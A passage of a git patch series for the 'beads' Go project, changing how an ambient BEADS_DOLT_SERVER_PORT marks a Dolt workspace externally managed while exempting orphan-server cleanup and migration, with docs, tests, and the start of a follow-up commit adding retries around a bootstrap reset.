bd-owned auto-start. A user setting it to pick a port gets the "externally managed" refusal instead of a server. Both sites now say so. proxied-server is called out as exempt; shared-server already resolves external at check 2, before 2c is reached. Review round 3 non-blocking point 2 (bee-ghosttrack). * docs(servermode): cite GH#6181 for the IsDoltServerMode gap, not an invisible bead Both cross-references for the deferred resolver-precedence gap pointed at be-2nolj, an internal bead id maintainers cannot see -- the reason review round 3 asked for a GitHub issue. bee-ghosttrack opened GH#6181 ("doltserver: ResolveServerMode and configfile.IsDoltServerMode must share one inference gate") from this review, which is exactly that tracker, so the comments now name it. Comment-only; no behavior change. Review round 3 point 2 follow-up (bee-ghosttrack). * feat: green — Fix: PR #5934's env-port check reclassifies bd's own server as shared, so it refuses to migrate (refs be-4yy5e) * chore: remove leaked internal release-gate doc from PR branch release-gates/be-lbnk8-serverport-ambient-scope-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 14 ++ docs/architecture/dolt.md | 16 ++ internal/configfile/configfile.go | 56 +++++++ internal/configfile/configfile_test.go | 49 ++++++ internal/doltserver/doltserver.go | 19 ++- internal/doltserver/doltserver_test.go | 144 ++++++++++++++++++ internal/doltserver/servermode.go | 68 ++++++++- .../dolt/shared_server_predicate_test.go | 22 +++ internal/storage/dolt/store.go | 22 ++- 9 files changed, 398 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d02b6ce4e..d920c7089 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **An ambient `BEADS_DOLT_SERVER_PORT` now marks a workspace externally + managed — suppressing auto-start — and no longer stops bd reaping its own + orphaned server** + ([#5934](https://github.com/gastownhall/beads/pull/5934)). Setting + `BEADS_DOLT_SERVER_PORT` (or the legacy `BEADS_DOLT_PORT`) now makes + `ResolveServerMode` classify a workspace as an externally-managed server, so + bd stops trying to own a lifecycle it does not own. The stale-server cleanup + path is deliberately carved out of that rule: it keeps resolving the mode + without the port var, so bd still reaps a same-repo orphan it started + (GH#2430) instead of declining because the environment named a port. A + `proxied-server` workspace is exempt from the new rule entirely — it reaches + its server through the proxy, so an ambient port does not describe its + lifecycle. + - **`bd doctor` no longer flags a `.local_version` that starts with `v`.** The canonical spelling of a Go module version — and the string a build stamped from a Go pseudo-version reports and writes into `.local_version` itself — diff --git a/docs/architecture/dolt.md b/docs/architecture/dolt.md index 53ed451d0..5e41e492f 100644 --- a/docs/architecture/dolt.md +++ b/docs/architecture/dolt.md @@ -204,6 +204,17 @@ Configure the connection with flags or environment variables: | `--server-user` | `BEADS_DOLT_SERVER_USER` | `root` | | | `BEADS_DOLT_PASSWORD` | (none) | +**`BEADS_DOLT_SERVER_PORT` also declares the server externally managed.** +Setting it — or the legacy `BEADS_DOLT_PORT` — makes `ResolveServerMode` +classify the workspace as an externally-managed server, so bd will not +auto-start a server for it: if nothing is listening on that port you get +`auto-start is suppressed because the server is externally managed` rather +than a server started on it. Use these vars to point bd at a server you +already run; they are not a way to choose the port of a bd-owned server. A +`dolt_mode: proxied-server` workspace is exempt — it reaches its server +through the proxy, so an ambient port does not describe its lifecycle — and +a shared-server workspace is already classified external on its own. + **Unix domain sockets:** Use `--server-socket` to connect via a Unix socket instead of TCP. This avoids port conflicts between concurrent projects and is useful in sandboxed environments (e.g., Claude Code) where file-level access @@ -565,6 +576,11 @@ dolt: | `DOLT_REMOTE_PASSWORD` | Clone/push/pull auth password | | `BD_DOLT_AUTO_COMMIT` | Override auto-commit setting | +**Note:** `BEADS_DOLT_SERVER_PORT` (and the legacy `BEADS_DOLT_PORT`) do more +than name a port — setting either also marks the workspace as an +externally-managed server and suppresses auto-start. See **Server Mode** +above. + ### Credentials File For multi-server setups, you can store passwords in an INI-style credentials file diff --git a/internal/configfile/configfile.go b/internal/configfile/configfile.go index 8df2f3890..9a832354f 100644 --- a/internal/configfile/configfile.go +++ b/internal/configfile/configfile.go @@ -385,6 +385,14 @@ func (c *Config) IsDoltServerMode() bool { // persisted host and over config.yaml. return strings.ToLower(c.DoltMode) == DoltModeServer } + // NOTE: deliberately no PortImpliesServerMode call here. This resolver + // selects the storage backend for every data command, so honoring a bare + // BEADS_DOLT_SERVER_PORT here has a materially wider blast radius than the + // lifecycle-only question doltserver.resolveServerMode's check 2c answers. + // The two therefore still disagree for an unset/embedded dolt_mode plus a + // bare port env var and no other server signal. That gap is real, narrow + // and tracked: GH#6181 owns whether this resolver should extend to the + // port signal, after the call-site audit such a change needs. // Fall back to config.yaml dolt.mode setting (no metadata.json mode set) return strings.EqualFold(config.GetYamlConfig("dolt.mode"), "server") } @@ -436,6 +444,54 @@ func (c *Config) HostImpliesServerMode() bool { return false } +// PortImpliesServerMode evaluates port-based server-mode inference: an +// explicitly named server port means an orchestrator is pointing this +// workspace at a server address it manages, so beads cannot own that +// server's lifecycle. Rules, in order, mirroring HostImpliesServerMode: +// +// - Proxied-server workspaces are exempt. A proxied workspace reaches its +// server through the proxy, so an ambient port does not describe its +// lifecycle and must not reclassify it. +// - Otherwise the env vars decide, BEADS_DOLT_SERVER_PORT first and the +// legacy BEADS_DOLT_PORT second, matching GetDoltServerPort's own +// precedence. A live env var in the current process outranks an explicit +// dolt_mode, exactly as the host env var does in HostImpliesServerMode -- +// the env check there also runs before the DoltMode suppression and can +// return first (GH#2949: runtime env beats stale persisted metadata). +// +// There is deliberately no persisted-port tier here. HostImpliesServerMode +// suppresses its weaker persisted/config.yaml host signals on an explicit +// DoltMode; the port equivalent, metadata.json's dolt_server_port, is read by +// a later check in doltserver.resolveServerMode that an explicit +// dolt_mode=embedded already returns before. There is nothing for a +// downstream guard to protect. +// +// NOTE: IsDoltServerMode does NOT consult this predicate. See the note there. +func (c *Config) PortImpliesServerMode() bool { + if strings.EqualFold(c.DoltMode, DoltModeProxiedServer) { + return false + } + return doltServerPortFromEnv() > 0 +} + +// doltServerPortFromEnv returns the server port named by +// BEADS_DOLT_SERVER_PORT or, failing that, the legacy BEADS_DOLT_PORT -- +// mirroring Config.GetDoltServerPort's env precedence without needing a +// loaded Config. Returns 0 when neither names a valid positive integer. +func doltServerPortFromEnv() int { + if p := os.Getenv("BEADS_DOLT_SERVER_PORT"); p != "" { + if port, err := strconv.Atoi(p); err == nil && port > 0 { + return port + } + } + if p := os.Getenv("BEADS_DOLT_PORT"); p != "" { + if port, err := strconv.Atoi(p); err == nil && port > 0 { + return port + } + } + return 0 +} + // IsLocalHostString reports whether host refers to the local machine, for // the purposes of mode inference. Mirrors the helpers in cmd/bd/dolt.go // and internal/storage/dolt/store.go; kept private to this package to diff --git a/internal/configfile/configfile_test.go b/internal/configfile/configfile_test.go index 2658a5481..6ad21f7f6 100644 --- a/internal/configfile/configfile_test.go +++ b/internal/configfile/configfile_test.go @@ -1341,3 +1341,52 @@ func TestGlobalDoltDatabase_OmittedFromJSON(t *testing.T) { t.Error("global_dolt_database should be omitted from JSON when empty") } } + +// TestPortImpliesServerMode covers the predicate doltserver's check 2c +// delegates to. The precedence it encodes -- proxied exemption first, then a +// live env var outranking an explicit dolt_mode -- is deliberate and mirrors +// HostImpliesServerMode, whose own env check runs before its DoltMode +// suppression and can return first (be-yb2ai). +func TestPortImpliesServerMode(t *testing.T) { + tests := []struct { + name string + cfg *Config + serverPort string + legacyPort string + want bool + }{ + {"no env, no mode", &Config{}, "", "", false}, + {"BEADS_DOLT_SERVER_PORT set", &Config{}, "3307", "", true}, + {"legacy BEADS_DOLT_PORT set", &Config{}, "", "3307", true}, + {"SERVER_PORT wins over legacy", &Config{}, "3307", "9999", true}, + {"legacy used when SERVER_PORT empty", &Config{}, "", "3307", true}, + {"non-numeric port ignored", &Config{}, "notaport", "", false}, + {"zero port ignored", &Config{}, "0", "", false}, + {"negative port ignored", &Config{}, "-1", "", false}, + {"falls back to legacy when SERVER_PORT invalid", &Config{}, "notaport", "3307", true}, + + // A live env var outranks an explicit dolt_mode, matching + // HostImpliesServerMode's env tier (GH#2949). + {"env beats explicit embedded", &Config{DoltMode: DoltModeEmbedded}, "3307", "", true}, + {"env beats explicit server", &Config{DoltMode: DoltModeServer}, "3307", "", true}, + + // ...except for proxied-server, which is exempt outright: it reaches + // its server through the proxy, so an ambient port does not describe + // its lifecycle. + {"proxied-server exempt even with env port", &Config{DoltMode: DoltModeProxiedServer}, "3307", "", false}, + {"proxied-server exempt, legacy port", &Config{DoltMode: DoltModeProxiedServer}, "", "3307", false}, + {"proxied-server exempt, case-insensitive", &Config{DoltMode: "Proxied-Server"}, "3307", "", false}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_PORT", tt.serverPort) + t.Setenv("BEADS_DOLT_PORT", tt.legacyPort) + + if got := tt.cfg.PortImpliesServerMode(); got != tt.want { + t.Errorf("PortImpliesServerMode() = %v, want %v (dolt_mode=%q SERVER_PORT=%q PORT=%q)", + got, tt.want, tt.cfg.DoltMode, tt.serverPort, tt.legacyPort) + } + }) + } +} diff --git a/internal/doltserver/doltserver.go b/internal/doltserver/doltserver.go index 1accffec5..e80378e49 100644 --- a/internal/doltserver/doltserver.go +++ b/internal/doltserver/doltserver.go @@ -1843,7 +1843,8 @@ func LockPath(beadsDir string) string { // eligible for cleanup. Externally-managed servers are never killed. // // A process is considered "external" (never kill) when any of: -// - ResolveServerMode() returns ServerModeExternal (explicit port, shared server, etc.) +// - ResolveServerModeIgnoringPortEnv() returns ServerModeExternal (explicit +// port/shared server declaration, embedded, etc.) // - No PID file exists (beads has no record of starting a server) func killStaleServersForDir(beadsDir string, allPIDs []int, inDir func(int, string) bool, kill func(int) error) ([]int, error) { if len(allPIDs) == 0 { @@ -1853,9 +1854,19 @@ func killStaleServersForDir(beadsDir string, allPIDs []int, inDir func(int, stri // If auto-start is disabled the server is externally managed (e.g., by // systemd or a manual bd dolt start), so we must not kill any processes. // IsAutoStartDisabled covers the BEADS_DOLT_AUTO_START env var and - // dolt.auto-start config; ResolveServerMode covers explicit port/shared - // server/embedded configurations. Both indicate "not our server" (GH#2641). - if IsAutoStartDisabled() || ResolveServerMode(beadsDir) == ServerModeExternal { + // dolt.auto-start config; resolveServerModeIgnoringPortEnv covers explicit + // port/shared server/embedded configurations. Both indicate "not our + // server" (GH#2641). + // + // This deliberately uses ResolveServerModeIgnoringPortEnv, not the public + // ResolveServerMode: BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT are also set + // ambiently on multi-agent rigs purely to route bd's own client + // connections to a shared coordination server, which says nothing about + // who owns beadsDir's own local server lifecycle. Honoring that env var + // here would make this guard skip orphan cleanup for a directory beads + // still owns, defeating the GH#2430 protection below for every process + // on such a rig. + if IsAutoStartDisabled() || ResolveServerModeIgnoringPortEnv(beadsDir) == ServerModeExternal { return nil, nil } diff --git a/internal/doltserver/doltserver_test.go b/internal/doltserver/doltserver_test.go index 8ae7cd2ee..79cd30c44 100644 --- a/internal/doltserver/doltserver_test.go +++ b/internal/doltserver/doltserver_test.go @@ -824,6 +824,53 @@ func TestKillStaleServersPreservesOtherRepoServers(t *testing.T) { } } +// TestKillStaleServersReapsOrphanUnderAmbientServerPort is the regression gate +// for the ResolveServerModeIgnoringPortEnv carve-out. killStaleServersForDir +// must keep reaping a same-repo orphan (GH#2430) even when an ambient +// BEADS_DOLT_SERVER_PORT is set: without the carve-out the port var makes the +// dir resolve external, the kill path treats the server as somebody else's and +// declines to reap, and GH#2430 silently regresses. +// +// The existing TestKillStaleServersPreservesOtherRepoServers does not cover +// this -- it never sets the variable, so it only catches the regression on a +// host that happens to export one. +func TestKillStaleServersReapsOrphanUnderAmbientServerPort(t *testing.T) { + t.Setenv("BEADS_DOLT_AUTO_START", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "3308") + t.Setenv("BEADS_DOLT_PORT", "") + + dir := t.TempDir() + canonicalPID := 111 + sameRepoOrphanPID := 222 + otherRepoPID := 333 + + if err := os.WriteFile(pidPath(dir), []byte(strconv.Itoa(canonicalPID)), 0600); err != nil { + t.Fatal(err) + } + + var killed []int + got, err := killStaleServersForDir( + dir, + []int{canonicalPID, sameRepoOrphanPID, otherRepoPID}, + func(pid int, _ string) bool { + return pid == canonicalPID || pid == sameRepoOrphanPID + }, + func(pid int) error { + killed = append(killed, pid) + return nil + }, + ) + if err != nil { + t.Fatalf("killStaleServersForDir error: %v", err) + } + if len(got) != 1 || got[0] != sameRepoOrphanPID { + t.Fatalf("killed=%v, want [%d] -- an ambient BEADS_DOLT_SERVER_PORT must not stop the orphan reap (GH#2430)", got, sameRepoOrphanPID) + } + if len(killed) != 1 || killed[0] != sameRepoOrphanPID { + t.Fatalf("kill callback got %v, want [%d]", killed, sameRepoOrphanPID) + } +} + func TestKillStaleServersWithoutCanonicalPIDIsNoop(t *testing.T) { // Without a PID file, beads has no record of starting a server. // killStaleServersForDir should be a no-op to avoid killing @@ -1554,6 +1601,8 @@ func TestDefaultConfig_SharedModeBeadsDir(t *testing.T) { func TestResolveServerMode_Default(t *testing.T) { t.Setenv("BEADS_DOLT_SHARED_SERVER", "") t.Setenv("BEADS_DOLT_SERVER_MODE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_PORT", "") config.ResetForTesting() dir := t.TempDir() @@ -1601,6 +1650,13 @@ func TestResolveServerMode_HostInferredExternal(t *testing.T) { t.Setenv("BEADS_DOLT_SHARED_SERVER", "") t.Setenv("BEADS_DOLT_SERVER_MODE", "") t.Setenv("BEADS_DOLT_SERVER_HOST", "") + // Same ambient-inheritance fix as TestResolveServerMode_EnvHostBeatsEmbeddedMetadata: + // this asserts the host-only DEFAULT port, so an inherited + // BEADS_DOLT_SERVER_PORT silently becomes the expected value's competitor. + // Pre-dates check 2c -- it fails on origin/main too, on any host that + // exports one. + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_PORT", "") config.ResetForTesting() dir := t.TempDir() @@ -1662,6 +1718,15 @@ func TestResolveServerMode_EnvHostBeatsEmbeddedMetadata(t *testing.T) { t.Setenv("BEADS_DOLT_SHARED_SERVER", "") t.Setenv("BEADS_DOLT_SERVER_MODE", "") t.Setenv("BEADS_DOLT_SERVER_HOST", "192.0.2.10") + // This test is about HOST inference; the port env vars are a different + // input and must be neutralized rather than inherited. Without these two + // lines the test reads whatever the developer's shell exports: on a rig + // with BEADS_DOLT_SERVER_PORT set it failed at the DefaultConfig.Port + // assertion below (that failure predates the port-env work and reproduces + // on origin/main) and, once check 2c existed, at the proxied-server and + // localhost-override assertions too. + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_PORT", "") config.ResetForTesting() dir := t.TempDir() @@ -1690,6 +1755,17 @@ func TestResolveServerMode_EnvHostBeatsEmbeddedMetadata(t *testing.T) { if mode := ResolveServerMode(dir); mode == ServerModeExternal { t.Errorf("proxied-server workspace must not be reclassified external by env host; got %v", mode) } + // Same exemption, the other inference input: an ambient server port must + // not reclassify a proxied workspace either. Check 2c originally lacked + // this guard, so a proxied constellation with BEADS_DOLT_SERVER_PORT set + // -- ours -- resolved external. + func() { + t.Setenv("BEADS_DOLT_SERVER_PORT", "3308") + defer t.Setenv("BEADS_DOLT_SERVER_PORT", "") + if mode := ResolveServerMode(dir); mode == ServerModeExternal { + t.Errorf("proxied-server workspace must not be reclassified external by an ambient server port; got %v", mode) + } + }() // An EMPTY env host behaves as unset (matching GetDoltServerHost, // cross-vendor review round 6): the remote metadata host stays @@ -1726,6 +1802,8 @@ func TestResolveServerMode_ServerModeEnv(t *testing.T) { func TestResolveServerMode_EmbeddedMode(t *testing.T) { t.Setenv("BEADS_DOLT_SHARED_SERVER", "") t.Setenv("BEADS_DOLT_SERVER_MODE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_PORT", "") config.ResetForTesting() dir := t.TempDir() @@ -1743,6 +1821,39 @@ func TestResolveServerMode_EmbeddedMode(t *testing.T) { } } +func TestResolveServerMode_EnvPortImpliesExternal(t *testing.T) { + // A port arriving via env var (BEADS_DOLT_SERVER_PORT or the legacy + // BEADS_DOLT_PORT) is the orchestrator's signal that the server address + // is externally managed — GetDoltServerPort() already treats both as + // first-class port signals ("orchestrator sets this"). ResolveServerMode + // must agree, or a deployment whose port arrives via env var resolves + // owned even though bd never launched the server and ensureDoltInit + // never ran for it (be-9i0yq.1). + tests := []struct { + name string + envVar string + }{ + {"BEADS_DOLT_SERVER_PORT", "BEADS_DOLT_SERVER_PORT"}, + {"BEADS_DOLT_PORT", "BEADS_DOLT_PORT"}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_MODE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_PORT", "") + t.Setenv(tc.envVar, "13307") + config.ResetForTesting() + + dir := t.TempDir() + mode := ResolveServerMode(dir) + if mode != ServerModeExternal { + t.Errorf("expected ServerModeExternal with %s set and no metadata.json, got %v", tc.envVar, mode) + } + }) + } +} + func TestServerMode_String(t *testing.T) { tests := []struct { mode ServerMode @@ -1848,6 +1959,8 @@ func TestResolveServerMode_EmbeddedHonoredWithoutServerEnv(t *testing.T) { t.Setenv("BEADS_DOLT_SERVER_MODE", "") t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_PORT", "") config.ResetForTesting() got := ResolveServerMode(beadsDir) @@ -1856,6 +1969,37 @@ func TestResolveServerMode_EmbeddedHonoredWithoutServerEnv(t *testing.T) { } } +func TestResolveServerMode_EnvPortOverridesStaleEmbedded(t *testing.T) { + // GH#2949 precedent applied to the port env var: a runtime + // BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT must beat stale + // dolt_mode=embedded metadata, same as the shared-server, explicit + // server-mode, and host env vars above (be-9i0yq.1). + dir := t.TempDir() + beadsDir := filepath.Join(dir, ".beads") + if err := os.MkdirAll(beadsDir, 0750); err != nil { + t.Fatal(err) + } + cfg := &configfile.Config{ + Database: "dolt", + Backend: "dolt", + DoltMode: configfile.DoltModeEmbedded, + } + if err := cfg.Save(beadsDir); err != nil { + t.Fatal(err) + } + + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_MODE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "13307") + t.Setenv("BEADS_DOLT_PORT", "") + config.ResetForTesting() + + got := ResolveServerMode(beadsDir) + if got != ServerModeExternal { + t.Errorf("ResolveServerMode with env port + stale embedded = %v, want ServerModeExternal", got) + } +} + func TestReadyTimeout(t *testing.T) { tests := []struct { name string diff --git a/internal/doltserver/servermode.go b/internal/doltserver/servermode.go index 9f3e0e93a..8553481da 100644 --- a/internal/doltserver/servermode.go +++ b/internal/doltserver/servermode.go @@ -48,17 +48,52 @@ func (m ServerMode) String() string { // 1. BEADS_DOLT_SERVER_MODE=1 env var -> ServerModeExternal // 2. BEADS_DOLT_SHARED_SERVER env var is set -> ServerModeExternal // 2b. host-based inference (HostImpliesServerMode) -> ServerModeExternal +// 2c. BEADS_DOLT_SERVER_PORT / BEADS_DOLT_PORT env var -> ServerModeExternal // 3. metadata.json dolt_mode == "embedded" -> ServerModeEmbedded // 4. metadata.json has explicit dolt_server_port -> ServerModeExternal // 5. default -> ServerModeOwned // -// Runtime env vars (1, 2) take precedence over persisted metadata.json +// Runtime env vars (1, 2, 2c) take precedence over persisted metadata.json // to prevent stale dolt_mode=embedded from silently overriding an active -// shared-server or server-mode configuration (GH#2949). +// shared-server, server-mode, or env-supplied-port configuration (GH#2949). // // The function loads metadata.json only if the file exists, to avoid // triggering the legacy config.json -> metadata.json migration side effect. func ResolveServerMode(beadsDir string) ServerMode { + return resolveServerMode(beadsDir, true) +} + +// ResolveServerModeIgnoringPortEnv is ResolveServerMode with check 2c +// (BEADS_DOLT_SERVER_PORT / BEADS_DOLT_PORT) skipped. +// +// Those env vars are also set ambiently on multi-agent rigs purely to route +// bd's own client connections to a shared coordination server; setting them +// does not disclaim beads' ownership of beadsDir's own local dolt server +// process the way checks 1/2/2b (and metadata.json check 4) genuinely do. +// Callers asking "should I auto-start a server" or "which server should I +// talk to" want the full ResolveServerMode — an ambient port var correctly +// means "route there instead of spawning a redundant one". Callers asking +// "am I allowed to manage/kill OS processes for this directory's server +// lifecycle" — killStaleServersForDir's orphan-cleanup guard (GH#2430) — +// must use this instead, or the ambient routing var falsely disables +// cleanup for a directory beads still owns. +// +// Exported for internal/storage/dolt's sharedServerDatabase (GH#6169): +// once ManagesLiveServerOnPort has PROVEN bd started and tracks the live +// server on cfg.ServerPort for cfg.BeadsDir, an ambient +// BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT set purely for multi-agent +// connection routing must not override that proof and reclassify bd's own +// server as shared -- the same reasoning as the kill-guard above, applied +// to the migrate-on-open decision instead of the process-reaping one. +func ResolveServerModeIgnoringPortEnv(beadsDir string) ServerMode { + return resolveServerMode(beadsDir, false) +} + +// resolveServerMode is the shared implementation behind ResolveServerMode +// and ResolveServerModeIgnoringPortEnv. honorPortEnv controls whether check +// 2c (BEADS_DOLT_SERVER_PORT / BEADS_DOLT_PORT) participates; see +// ResolveServerModeIgnoringPortEnv for why a caller would want it excluded. +func resolveServerMode(beadsDir string, honorPortEnv bool) ServerMode { // 1. BEADS_DOLT_SERVER_MODE=1 env var -> external (explicit server mode) if os.Getenv("BEADS_DOLT_SERVER_MODE") == "1" { return ServerModeExternal @@ -96,6 +131,35 @@ func ResolveServerMode(beadsDir string) ServerMode { return ServerModeExternal } + // 2c. Explicit server port via env var (BEADS_DOLT_SERVER_PORT, then + // the legacy BEADS_DOLT_PORT) -> external. Mirrors the deprecated + // GetDoltServerPort()'s own env precedence: the orchestrator sets + // these to signal a server address it manages, port included, so + // ResolveServerMode must agree instead of defaulting a + // port-only deployment to owned (ensureDoltInit would never run for + // it). Runs before the metadata.json checks for the same GH#2949 + // reason as 1/2/2b: a runtime env var beats stale persisted metadata. + // + // Skipped when honorPortEnv is false — see resolveServerModeIgnoringPortEnv. + // + // Delegates to the same centralized rule as 2b rather than keeping a + // private copy: PortImpliesServerMode is shaped like HostImpliesServerMode + // (proxied exemption, then the env vars), so the storage-mode and + // lifecycle resolvers read one definition of the port rule. + // + // That a bare port env var outranks an explicit dolt_mode is deliberate + // and settled (be-yb2ai), not an asymmetry with 2b: HostImpliesServerMode + // checks BEADS_DOLT_SERVER_HOST *before* its DoltMode suppression and can + // return on it, so the real precedence there is env > explicit dolt_mode > + // persisted host. 2c mirrors every tier that has a port-side counterpart. + // TestResolveServerMode_EnvPortOverridesStaleEmbedded pins it. + // + // configfile.IsDoltServerMode deliberately does NOT consult this predicate + // — see the note there and GH#6181. + if honorPortEnv && hostCfg.PortImpliesServerMode() { + return ServerModeExternal + } + // 3. Explicit embedded mode in metadata.json if fileCfg != nil && strings.ToLower(fileCfg.DoltMode) == configfile.DoltModeEmbedded && fileCfg.DoltMode != "" { // empty defaults to embedded in GetDoltMode, but we treat empty as "unset" diff --git a/internal/storage/dolt/shared_server_predicate_test.go b/internal/storage/dolt/shared_server_predicate_test.go index 0d2ca30de..e05f88f0a 100644 --- a/internal/storage/dolt/shared_server_predicate_test.go +++ b/internal/storage/dolt/shared_server_predicate_test.go @@ -287,6 +287,28 @@ func TestSharedServerDatabaseOwnershipProof(t *testing.T) { t.Fatal("nothing in bd writes dolt's config.yaml as proof of ownership") } }) + + // GH#6169 regression guard, the other direction from "env port that bd + // itself bound still migrates" above: that fix must not be over-applied. + // ResolveServerModeIgnoringPortEnv skips check 2c entirely, so taken + // alone on an unmanagedWorkspace it now falls through to its own default + // of ServerModeOwned -- it is the ManagesLiveServerOnPort proof gate + // earlier in sharedServerDatabase that must still catch this case. Mirrors + // "dolt config.yaml port without a live bd server is shared" immediately + // above, for the env source instead of the config.yaml one. + t.Run("env port at a workspace bd does not manage is still shared", func(t *testing.T) { + clearPredicateEnv(t) + t.Setenv("BEADS_DOLT_SERVER_PORT", strconv.Itoa(port)) + cfg := &Config{ + BeadsDir: unmanagedWorkspace(t), + ServerHost: "127.0.0.1", + ServerPort: port, + ServerPortSource: doltserver.PortSourceEnv, + } + if !sharedServerDatabase(cfg) { + t.Fatal("no bd-managed server proof for this workspace; ignoring the port env var must not turn an external server into 'owned'") + } + }) } // TestSharedServerDatabaseThroughResolvedConfig closes the gap between the unit diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 0bf81aba3..7c27d2192 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -3138,12 +3138,22 @@ func sharedServerDatabase(cfg *Config) bool { if !doltserver.ManagesLiveServerOnPort(cfg.BeadsDir, cfg.ServerPort) { return true } - // Proof of a bd-managed server does not override an explicit declaration - // that the lifecycle is external (metadata dolt_server_port, host - // inference, BEADS_DOLT_SERVER_MODE). Keeping this last means the change - // above can only ever ADD shared classifications to what #5920/#6048 - // already gated, never remove one. - return doltserver.ResolveServerMode(cfg.BeadsDir) != doltserver.ServerModeOwned + // Proof of a bd-managed server does not override a genuine external + // declaration (metadata dolt_server_port, host inference, + // BEADS_DOLT_SERVER_MODE, IsSharedServerMode). Keeping this last means + // the change above can only ever ADD shared classifications to what + // #5920/#6048 already gated, never remove one. + // + // Uses ResolveServerModeIgnoringPortEnv, not the public ResolveServerMode + // (GH#6169): BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT are also set + // ambiently on multi-agent rigs purely to route bd's own client + // connections to a shared coordination server, and say nothing about who + // owns cfg.BeadsDir's own server -- that question was just answered, + // above, by proof rather than inference. Honoring the ambient port env + // var here would let it override that proof and reclassify bd's own + // just-started server as shared, so a normal `bd init`/first-write on a + // multi-agent rig would refuse to migrate its own workspace database. + return doltserver.ResolveServerModeIgnoringPortEnv(cfg.BeadsDir) != doltserver.ServerModeOwned } func (s *DoltStore) initSchema(ctx context.Context, bootstrapHeal *schema.FreshBootstrapHealCapability) (int, error) { From 9fec68dcfcf51e7897e595150ef09fa46531e484 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Wed, 30 Sep 2026 07:15:59 -0700 Subject: [PATCH 257/624] fix(schema): retry a fresh-bootstrap heal reset that the server aborts (#5895) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit MigrateUpWithLock consumes the one-shot FreshBootstrapHealCapability before issuing CALL DOLT_RESET('--hard'), deliberately, so that no later pass can re-arm a second destructive reset. The consequence is that whatever that one reset returns is final for the database: if it fails, the interrupted bootstrap refuses every later migration with DirtyTablesError and the only way back is a human running 'bd dolt commit'. The outer retry cannot help — isRetryableError excludes a 1105 that is not one of two named startup recoveries, and the capability is spent either way. That is only safe if a reset can fail for reasons that would persist. Dolt can also abort the statement from inside the server. Its own debug log shows the reset starting and failing under a millisecond later with a bare "context canceled", on a healthy pinned session with no other session on the server, no GC running, and the statements either side of it succeeding: m=2.6865 cid=35 Starting query SELECT COUNT(*) FROM dolt_log WHERE commit_hash = '...' m=2.6871 cid=35 Query finished in 0 ms m=2.6873 cid=35 Starting query CALL DOLT_RESET('--hard') m=2.6881 cid=35 error running query ERR=context canceled CALL DOLT_RESET('--hard') m=2.6883 cid=35 Starting query SELECT RELEASE_LOCK('bd_schema_init:heal_exact_creator') m=2.6893 cid=35 Query finished in 1 ms The caller's context has minutes left at that point and the next statement on that same context and connection succeeds, so this is not our own cancellation being reported back. It is what makes TestFreshBootstrapHealIncarnation/exact_creator_heals_its_interrupted_bootstrap fail on shard 12 of the Server Dolt Full Suite. Retry the reset up to three times, 50ms apart, stopping early when ctx.Err() is set — the caller's own cancellation is not transient and must not spend the attempts that remain. This does not weaken the one-shot invariant: DOLT_RESET('--hard') is idempotent and the retries stay inside a single authorized heal, on the same locked session, for the same incarnation, against one consumed capability. A reset that keeps failing still fails the migration with both the original refusal and the reset error. Refs: be-v3ms8 Co-authored-by: Gas City Adopt-PR --- internal/storage/schema/lock.go | 62 +++++++++++++++-- internal/storage/schema/lock_test.go | 99 ++++++++++++++++++++++++++++ 2 files changed, 157 insertions(+), 4 deletions(-) diff --git a/internal/storage/schema/lock.go b/internal/storage/schema/lock.go index a51f9cdfd..e6c104b00 100644 --- a/internal/storage/schema/lock.go +++ b/internal/storage/schema/lock.go @@ -21,6 +21,14 @@ const ( // lock wait can time out and still leave room for a real retry. migrationLockAcquireTimeoutSeconds = 5 migrationLockCleanupTimeout = 5 * time.Second + // freshBootstrapResetAttempts bounds the heal path's DOLT_RESET retries. + // Small on purpose: this is a last-chance recovery, not a general retry + // budget, and a reset that is genuinely refused must still fail fast. + freshBootstrapResetAttempts = 3 + // freshBootstrapResetRetryDelay spaces those attempts. The aborts this + // absorbs land within a millisecond, so the delay only has to let the + // session settle, not to wait out load. + freshBootstrapResetRetryDelay = 50 * time.Millisecond ) var ( @@ -336,10 +344,7 @@ func MigrateUpWithLock(ctx context.Context, conn *sql.Conn, databaseName string, // second reset in the caller's outer retry loop. fmt.Fprintf(stderr, "Discarding interrupted-bootstrap working set (%s) and re-running migrations…\n", 